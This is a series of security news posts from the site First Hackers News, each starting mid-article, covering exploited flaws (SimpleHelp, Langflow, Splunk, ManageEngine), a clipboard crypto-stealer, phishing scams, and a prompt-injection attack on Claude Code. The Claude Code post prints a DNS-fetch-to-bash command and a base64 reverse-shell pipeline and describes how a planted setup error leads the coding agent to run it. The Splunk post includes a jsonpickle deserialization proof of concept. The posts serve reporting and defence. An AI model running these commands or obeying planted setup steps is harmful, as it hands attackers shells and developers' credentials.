The vulnerability affects environments where OpenID Connect (OIDC) authentication is enabled. Due to improper verification of cryptographic signatures, attackers can bypass authentication and gain unauthorized access to affected systems.

How the Vulnerability Works

According to CISA, the issue occurs because SimpleHelp does not properly validate identity tokens during the OIDC authentication process. As a result, a remote attacker can create forged identity tokens and have them accepted as legitimate.

This allows attackers to impersonate authorized users without valid credentials and gain technician-level access to the application. In some environments, the vulnerability may also allow attackers to bypass multi-factor authentication (MFA), significantly increasing the risk of unauthorized access.

Because SimpleHelp is widely used for remote IT support, successful exploitation could provide attackers with direct access to managed devices, creating opportunities for privilege escalation and lateral movement across enterprise networks.

Immediate Action Required

CISA has instructed federal agencies to remediate the vulnerability under Binding Operational Directive (BOD) 26-04, with a deadline of July 2, 2026. The agency also recommends that organizations follow vendor guidance, prioritize patching internet-facing systems, and review affected environments for signs of compromise.

If patches cannot be applied immediately, organizations should consider temporarily removing vulnerable SimpleHelp servers from public access until security updates are in place.

Although CISA has not linked the vulnerability to ransomware attacks, its inclusion in the KEV catalog confirms that threat actors are actively exploiting the flaw. Organizations using SimpleHelp should treat this issue as a high priority and apply the latest security updates as soon as possible to reduce the risk of unauthorized access.

The post CISA Flags SimpleHelp Flaw as Actively Exploited appeared first on First Hackers News.

The attack is delivered through unsigned installers written in both .NET and Golang. Instead of installing the extension through an official browser store, the malware directly modifies Chromium browser files to install the extension and maintain persistence.

How the Attack Works

Once executed, the installer searches for Chromium-based browsers such as Google Chrome, Microsoft Edge, Brave, and other compatible browsers. It terminates running browser processes and modifies the Preferences and Secure Preferences files to register the malicious extension.

Researchers found that the malware recalculates browser integrity values, allowing the extension to bypass certain security checks on older Chromium versions. On newer versions, the attackers rely on social engineering or developer mode to enable the extension. After installation, the installer removes itself, leaving very few traces on the infected system.

Unlike traditional malware that connects to a hardcoded command-and-control server, the extension uses an EtherHiding technique. It queries a public blockchain RPC endpoint and retrieves an encoded value from a smart contract, which is decoded at runtime to obtain the active backend server. This approach allows attackers to change their infrastructure without updating the malware itself, making detection and takedown more difficult.

Wallet Address Replacement and Detection

The extension requests broad permissions, including access to websites, browsing history, and clipboard data. It continuously monitors copy-and-paste activity and uses cryptocurrency-specific patterns to identify wallet addresses for multiple blockchains, including:

• Bitcoin (BTC)
• Ethereum (ETH)
• Bitcoin Cash (BCH)
• Ripple (XRP)
• Dash (DASH)
• Solana (SOL)

When a wallet address is copied, the extension sends it to the attacker’s backend using an embedded API key. The server responds with an attacker-controlled wallet address, which immediately replaces the original address in the clipboard. If the victim pastes the address without verifying it, the cryptocurrency is transferred directly to the attacker’s wallet.

Researchers also found that the installer contains embedded configuration data, including API keys, extension settings, supported wallet types, and blockchain RPC endpoints. The malicious extension is downloaded separately during installation, allowing attackers to update components without modifying the installer.

The campaign has affected users across multiple regions, with researchers observing a notable concentration of infections in India, suggesting opportunistic targeting of cryptocurrency users rather than a region-specific operation.

To reduce the risk of compromise, users should install browser extensions only from official stores, avoid running unsigned installers, carefully review requested permissions, and always verify the first and last few characters of a cryptocurrency wallet address before completing a transaction.

Security teams should also monitor for unauthorized changes to Chromium Secure Preferences files, unexpected browser configuration modifications, and unusual blockchain RPC traffic associated with EtherHiding infrastructure.

IOCs

The post Malicious Extension Swaps Crypto Wallet Addresses appeared first on First Hackers News.

The research, published on June 25, 2026, focuses on indirect prompt injection, a technique in which malicious instructions are hidden within external content processed by an AI assistant rather than being entered directly by the user.

If exploited successfully, the attack can provide threat actors with an interactive shell running under the developer’s user account. This level of access could expose sensitive information, including ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, and other credentials stored on the system.

According to the OWASP Top 10 for LLM Applications, prompt injection is considered one of the most critical security risks affecting AI-powered applications. This proof of concept demonstrates that the technique can extend beyond manipulating chatbot responses and potentially lead to complete system compromise.

How the Attack Works

The attack relies on several components that appear completely legitimate when viewed individually, making the overall technique difficult to detect.

The first stage uses a GitHub repository that looks like a normal open-source project. In the demonstration, researchers created a fictional cloud deployment tool called Axiom, complete with a professional README and standard installation instructions. Nothing within the repository appears malicious, allowing it to pass a manual inspection without raising suspicion.

Next, the supplied Python package is intentionally designed to fail during its initial execution. Instead of performing its expected task, it generates a standard runtime error instructing the user to initialize the application by running python3 -m axiom init. Since this behavior is common among legitimate software packages, AI coding assistants interpret the message as a routine setup step rather than suspicious activity.

Payload Retrieved Through DNS

The final stage begins when the initialization command is executed. Rather than containing the malicious payload locally, the setup script retrieves additional instructions from an attacker-controlled DNS TXT record and pipes the returned content directly to the system shell.

The following command demonstrates how the setup script retrieves and executes the external payload:

cfg=$(dig +short TXT _axiom-config.m100.cloud @1.1.1.1 | tr -d '"')
[ -n "$cfg" ] && bash -c "$cfg"

The DNS TXT record stores a Base64-encoded reverse shell payload, shown below:

“echo YmFzaCAtaSA+JiAvZGV2L3RjcC8…== | base64 -d | bash”

The payload decodes into a reverse shell that is retrieved and executed at runtime. Because it is delivered through a DNS TXT record, the malicious code is not stored in the GitHub repository, making it difficult for static code scanners, human reviewers, and even AI coding assistants to detect.

When a developer asks Claude Code to run the project, the AI agent automatically:

• Installs the required dependencies.
• Attempts to start the application.
• Encounters the initialization error and runs the recommended setup command.
• Retrieves the payload from the attacker’s DNS server and executes it.
• Opens a reverse shell to the attacker’s system.

Throughout the process, the developer sees only normal setup messages, with no obvious indication that the system has been compromised.

Initialising Axiom platform...
Environment ready

Claude Code does not intentionally execute malicious code. Instead, it follows what appears to be a legitimate setup process, ultimately running the attacker’s payload without recognizing it as harmful.

Once the reverse shell is established, attackers can:

• Gain an interactive shell with the developer’s user privileges.
• Access API keys, cloud credentials, Git tokens, and other sensitive data.
• Establish persistence by installing SSH keys, cron jobs, or backdoors.
• Update the malicious payload at any time through the DNS record without modifying the GitHub repository.

Researchers noted that this technique is not limited to Claude Code. Other AI-powered coding assistants that automatically follow setup instructions, including Cursor and Gemini CLI, could also be vulnerable to similar attacks.

The attack works by separating its components across multiple systems, making it difficult for security tools to identify the complete attack chain. Researchers also pointed out that a similar off-repository payload delivery technique was observed in CVE-2025-55284, where prompt injection was used to exfiltrate API keys through DNS.

The findings demonstrate that indirect prompt injection is no longer a theoretical AI security concern. Recent research and real-world attacks show that threat actors are actively weaponizing this technique to target AI-assisted development environments.

The post Hackers Exploit Claude Code to Take Over Systems appeared first on First Hackers News.

Instead of exchanging phone numbers, users will be able to share a unique username when starting new conversations. This feature is especially useful when joining community groups, networking at events, or interacting with people for the first time.

The rollout is being introduced in phases, with users able to reserve their preferred usernames before the feature becomes widely available.

How the Username Feature Works

Once the feature is enabled, new contacts will only see a user’s username instead of their phone number. Existing chats and contacts will continue to function normally, and users who prefer sharing phone numbers can continue using WhatsApp as they always have.

To prevent impersonation and abuse, WhatsApp has introduced several rules for creating usernames:

• Usernames must be 3–35 characters long.
• Only lowercase letters, numbers, periods, and underscores are allowed.
• Every username must include at least one letter.
• Usernames that resemble website domains, such as .com or .in, are not permitted.
• Each username must be unique, and users can choose to match their existing Instagram or Facebook handle for consistent branding.

WhatsApp has also added an optional username key, a four-digit PIN-like code that provides an additional layer of privacy. New contacts must enter this code before they can send a message, helping reduce spam and unwanted conversations. Existing contacts are not affected by this requirement.

Improved Privacy and User Protection

Unlike many social media platforms, WhatsApp usernames are not searchable through a public directory. Users cannot browse or discover other usernames unless they already know the exact handle, significantly reducing unsolicited messages and unwanted contact.

The feature is available across Android, iOS, Windows, and WhatsApp Web as the rollout expands globally. Users can reserve a username by navigating to Settings → Account → Username on the latest version of the app. WhatsApp also provides username suggestions if a preferred handle has already been taken.

The new system is particularly beneficial for creators, businesses, and organizations, allowing them to use the same username across WhatsApp, Instagram, and Facebook for a consistent online identity.

By moving from phone number-based communication to username-based messaging, WhatsApp is strengthening user privacy while reducing unnecessary exposure of personal contact information. The update also brings the platform closer to privacy-focused messaging services that have long supported handle-based communication.

The post WhatsApp Introduces Usernames for Private Messaging appeared first on First Hackers News.

The campaign highlights a growing trend in which threat actors are shifting their focus from traditional Linux servers to AI platforms that power Large Language Model (LLM) applications and Retrieval-Augmented Generation (RAG) workflows.

The vulnerability affects Langflow versions up to 1.8.2, has received a CVSS score of 9.8, and has been added to CISA’s Known Exploited Vulnerabilities (KEV) catalog due to active exploitation. The issue has been addressed in Langflow version 1.9.0.

How the Attack Works

The vulnerability exists in Langflow’s public workflow execution endpoint, where insufficient input validation allows attackers to inject and execute malicious Python code without authentication. Researchers also noted that AUTO_LOGIN is enabled by default, allowing unauthenticated users to obtain a superuser token and create public workflows, making exploitation significantly easier on exposed servers.

The attack begins with automated reconnaissance. Threat actors rapidly scan internet-facing Langflow instances using multiple browser user-agent strings while probing endpoints such as /health, /api/v1/version, and /manifest.json. This approach helps identify vulnerable systems while reducing the likelihood of detection.

Once a vulnerable server is identified, attackers exploit the flaw by sending a specially crafted request that downloads and executes a malicious shell script. Researchers observed the same workflow identifier being reused across multiple attacks, suggesting the campaign is highly automated.

The shell script acts as a dropper, creating hidden directories, downloading the primary malware, and launching it in the background. It also searches for SSH keys, known hosts, and active SSH agent sessions in an attempt to spread laterally to additional Linux systems.

Cryptominer Deployment and Persistence

The primary payload is a UPX-packed Go binary designed to establish persistence while preparing the system for cryptocurrency mining.

Researchers observed the malware performing several actions after execution:

• Downloading a customized XMRig-based Monero miner.
• Terminating dozens of competing cryptomining processes already running on the system.
• Removing backdoor accounts left behind by previous malware campaigns.
• Increasing system resource limits to improve mining performance.

To avoid detection, the malware disables several Linux security controls, including AppArmor, SELinux, UFW, iptables, the Linux NMI watchdog, and Alibaba Cloud’s Aliyun security agent. It also clears system logs, removes file protection attributes, and modifies system settings to make forensic analysis more difficult.

For long-term persistence, the malware creates scheduled cron jobs and watchdog processes that automatically restore the miner if it is removed. It also locks critical files and directories, making cleanup significantly more challenging.

The customized Monero miner is installed inside a hidden directory and connects to attacker-controlled mining infrastructure over TCP port 3333. Researchers also observed regular heartbeat communications with command-and-control servers, allowing attackers to monitor infected systems and maintain control of the campaign.

Why AI Servers Are Being Targeted

Langflow is commonly integrated with cloud platforms, AI models, databases, and external APIs. As a result, compromised servers often contain valuable API keys, cloud credentials, database passwords, and SSH keys.

During the attacks, researchers observed threat actors searching for environment files and sensitive credentials that could enable lateral movement or provide access to additional enterprise resources. This makes the impact far greater than unauthorized cryptocurrency mining alone.

Security Recommendations

Organizations using Langflow should immediately upgrade to version 1.9.0 or later and ensure that vulnerable instances are not directly accessible from the internet.

Security teams should also:

• Restrict public access to Langflow deployments.
• Monitor for unusual API requests and unexpected Python execution.
• Review systems for unauthorized cron jobs, background processes, and persistence mechanisms.
• Rotate exposed API keys, SSH credentials, and cloud secrets if compromise is suspected.
• Investigate unusual outbound connections and signs of cryptocurrency mining activity.

The rapid exploitation of CVE-2026-33017 demonstrates how quickly attackers weaponize vulnerabilities in AI platforms. As organizations continue adopting AI technologies, securing AI infrastructure should become a core part of enterprise cybersecurity strategies, alongside continuous monitoring, timely patch management, and strong access controls.

IoCs

File Hashes (SHA-256)

Network Indicators

The post Langflow Vulnerability Deploys Monero Miner appeared first on First Hackers News.

According to security researchers, the vulnerability is caused by unsafe deserialization of user-controlled data, allowing specially crafted input to be executed on the server.

How the Vulnerability Works

The issue exists in the way Splunk Secure Gateway processes alert data stored in its KV Store. A low-privileged authenticated user can submit a specially crafted JSON payload through the Splunk REST API.

Due to weaknesses in the application’s validation process, the malicious data is accepted as legitimate and passed to the deserialization component. This enables attackers to execute arbitrary Python code with the privileges of the Splunk service account.

Researchers found that the validation logic fails to inspect all fields within the submitted JSON document. As a result, attackers can bypass security checks by embedding malicious content inside otherwise valid data structures.

A successful attack requires only a valid low-privileged Splunk account and does not rely on user interaction, making the vulnerability particularly dangerous in shared enterprise environments.

Below is a simplified proof-of-concept (PoC) demonstrating how the vulnerability can be exploited using a benign command:

import jsonpickle

import subprocess

payload = {     

“py/object”: “spacebridgeapp.data.alert_data.Alert”,

    “notification”:         

“py/reduce”:

[             

{“py/function”: “subprocess.check_output”},             

{“py/tuple”: [[“uname”, “-a”]]}         

]     

}

}

encoded = jsonpickle.encode(payload)

decoded = jsonpickle.decode(encoded, safe=True)

print(decoded)

subprocess.check_output(["uname", "-a"]) command during data deserialization. This confirms that enabling the safe=True option in jsonpickle does not fully prevent exploitation.

The flaw affects Splunk Secure Gateway versions 3.8.x, 3.9.x, and 3.10.x, along with Splunk Enterprise versions released before 10.0.7, 10.2.4, and 10.4.0. Splunk has fixed the issue in Secure Gateway versions 3.8.67, 3.9.20, and 3.10.6.

Security Recommendations

To reduce the risk of exploitation, organizations should:

• Apply the latest Splunk Secure Gateway security patches immediately.
• Upgrade to the fixed versions: SSG 3.8.67, 3.9.20, or 3.10.6, and supported Splunk Enterprise releases.
• Disable the Secure Gateway app if it is not actively being used.
• Restrict KV Store write permissions to trusted administrators only.
• Enforce the principle of least privilege by limiting access to authorized users.
• Avoid deserializing untrusted data with jsonpickle or similar libraries without proper validation.
• Implement input validation and class allow-listing to prevent unsafe deserialization.
• Monitor Splunk logs for unusual activity or unauthorized changes to the KV Store.

Following these best practices can help organizations reduce the risk of remote code execution and strengthen the overall security of their Splunk environment.

The post Splunk Secure Gateway RCE Vulnerability Discovered appeared first on First Hackers News.

The fake invoices often impersonate well-known brands such as Norton, McAfee, Apple, and PayPal, creating a false sense of urgency by claiming that expensive products or subscriptions have been purchased.

How the Scam Works

The Shop app automatically collects order information from connected email accounts and Shop Pay transactions, allowing users to view all their purchases in one place. Attackers appear to be exploiting this functionality or related merchant processes to insert fake orders into users’ purchase history.

These fraudulent orders typically display costly items, including antivirus subscriptions, smartphones, or gift cards. The invoices also include fake customer support phone numbers hidden within product descriptions, shipping details, or order notes.

When victims call the number, they are connected to scammers posing as customer support representatives. The attackers then attempt to steal sensitive information such as login credentials, payment card details, one-time passwords, or convince victims to install remote access software.

Researchers emphasized that there is currently no evidence that Shopify or the Shop app has been breached. Instead, the campaign appears to abuse legitimate platform features to distribute fraudulent content.

How to Stay Safe

Users should always verify unexpected purchase notifications before taking any action. If an invoice appears suspicious, check your bank account or the official service provider directly instead of calling phone numbers listed in the receipt.

To reduce the risk of becoming a victim:

• Verify purchases through official websites or banking apps.
• Never call support numbers included in unexpected invoices.
• Report suspicious orders through the Shop app or Shopify’s abuse channels.
• Avoid installing software at the request of unknown callers.

This campaign demonstrates how cybercriminals are increasingly exploiting trusted platforms instead of relying solely on phishing emails. As users become more cautious of email scams, attackers are shifting their focus to legitimate applications where fraudulent content is less likely to raise suspicion.

The post Fake Shopify Invoices Steal User Credentials appeared first on First Hackers News.

Because Langflow is commonly integrated with AI services, databases, and cloud platforms, successful exploitation could expose sensitive data and provide attackers with extensive control over affected environments.

How the Vulnerability Is Exploited

The vulnerability exists in a publicly accessible API endpoint responsible for building workflow components. Due to insufficient input validation, attackers can inject malicious Python code into specially crafted requests. The injected code is then executed on the server, enabling full remote code execution.

Security researchers observed exploitation attempts within hours of the vulnerability becoming public. Rather than relying on publicly available proof-of-concept exploits, attackers quickly developed their own techniques based on details released in the security advisory.

Early attacks focused on identifying vulnerable servers and executing basic system commands. As the campaign evolved, attackers expanded their activity to collect sensitive information, inspect server environments, and download additional malicious payloads.

Active Exploitation Raises Security Concerns

Researchers found that attackers attempted to access configuration files, database information, API keys, cloud credentials, and other sensitive resources stored on compromised systems. Since Langflow environments often connect to external AI services and cloud infrastructure, stolen credentials could enable further attacks beyond the initially compromised server.

The investigation also revealed coordinated attack infrastructure, with multiple threat actors using similar command-and-control servers and data exfiltration techniques. Temporary callback domains were frequently used to verify successful exploitation while avoiding detection.

Recommended Actions

• Update Langflow to the latest patched version immediately.
• Restrict public access to Langflow instances whenever possible.
• Monitor systems for unusual API requests and unexpected command execution.
• Review cloud credentials, API keys, and environment files for potential exposure.

The rapid exploitation of CVE-2026-33017 demonstrates how quickly threat actors weaponize newly disclosed vulnerabilities. Organizations operating internet-facing AI applications should prioritize timely patching, continuous monitoring, and network segmentation to reduce the risk of compromise.

Ioc

Source IPs

C2 and Staging Infrastructure

Malicious Dropper URLs

Interactsh Callback Domains (Samples)

The post Langflow RCE Vulnerability: Unauthenticated Code Execution Risk appeared first on First Hackers News.

The vulnerability affects ADSelfService Plus, RecoveryManager Plus, M365 Manager Plus, and ADAudit Plus when they are integrated with AD360 through SSO.

ManageEngine AD360 Vulnerability

The issue is caused by weaknesses in the way AD360 generates SSO authentication tickets. Researchers found that these authentication tokens could be predicted, making it possible for an unauthenticated attacker to create a valid SSO ticket and bypass the normal login process.

If successfully exploited, an attacker could impersonate legitimate users, access their accounts, and inherit the permissions associated with those accounts. In environments where privileged administrators are targeted, the vulnerability could lead to complete account compromise, unauthorized access to sensitive data, and further movement across the network.

The following product versions are affected:

• ADSelfService Plus 6528 and earlier
• RecoveryManager Plus 6320 and earlier
• M365 Manager Plus 4816 and earlier
• ADAudit Plus 8702 and earlier

ManageEngine has released security updates for all affected products to eliminate the predictable SSO ticket generation issue.

Recommended Actions

Organizations using AD360 should apply the latest product updates as soon as possible to reduce the risk of exploitation. Since the vulnerability can be exploited before authentication, delaying patches may expose enterprise environments to account takeover attacks.

Security teams should also:

• Install the latest available builds for all affected products.
• Review authentication logs for unusual SSO activity.
• Monitor privileged accounts for unexpected login attempts.

The vulnerability was responsibly reported through the Zoho Bug Bounty Program by security researcher 0xmanhnv. ManageEngine has credited the researcher and strengthened its SSO token generation process to prevent similar attacks in future releases.

As identity management platforms are often central to enterprise security, organizations should prioritize patching this vulnerability and continue monitoring authentication activity for any signs of compromise.

The post ManageEngine AD360 Vulnerability Discovered appeared first on First Hackers News.

The campaign primarily targets users with notifications related to meeting transcripts, recordings, and shared documents. These messages direct victims to professionally crafted phishing pages designed to closely resemble legitimate Microsoft Teams and productivity service interfaces, making Microsoft Teams phishing a critical concern for end-users.

Attack Chain Relies on Trusted Infrastructure

The threat actors behind the campaign are using a combination of compromised business websites and cloud-hosted infrastructure to host phishing content and malware delivery mechanisms. Researchers observed malicious pages hosted on legitimate domains belonging to organizations such as hotels, law firms, schools, healthcare providers, and other small businesses across multiple countries.

Once a victim downloads and executes the installer, the malware deploys a legitimate remote access tool that has been preconfigured with attacker-controlled settings. This approach enables cybercriminals to establish remote connectivity while reducing suspicion, as the software itself is not inherently malicious.

To improve operational resilience, the attackers frequently rotate domains, infrastructure, and lure themes, allowing them to target different departments and organizations while minimizing the impact of takedowns.

Persistence and Evasion Capabilities

Analysis of the installer revealed several defense-evasion techniques designed to hinder detection and analysis. These include environment checks, anti-debugging mechanisms, delayed execution routines, and obfuscated components intended to complicate forensic investigations.

Following installation, the malware establishes multiple persistence mechanisms to ensure long-term access to compromised systems. Researchers observed the creation of Windows services, registry modifications, and authentication-related components that enable the threat actors to maintain access and potentially harvest credentials.

MITRE FRAMEWORK

Key Security Concerns

• Abuse of trusted Microsoft Teams branding to increase phishing success.
• Use of legitimate remote access software for unauthorized system access.
• Hosting of phishing infrastructure on compromised business websites.
• Multiple persistence mechanisms designed to survive remediation efforts.

The campaign highlights a growing trend in cybercrime operations where attackers increasingly rely on trusted platforms, reputable domains, and legitimate software to evade traditional security controls. Organizations should treat unexpected file downloads, meeting notifications, and transcript-sharing requests with caution, even when they appear to originate from familiar services or trusted websites.

The post Microsoft Teams-Themed Attack Deploys Remote Access Tool appeared first on First Hackers News.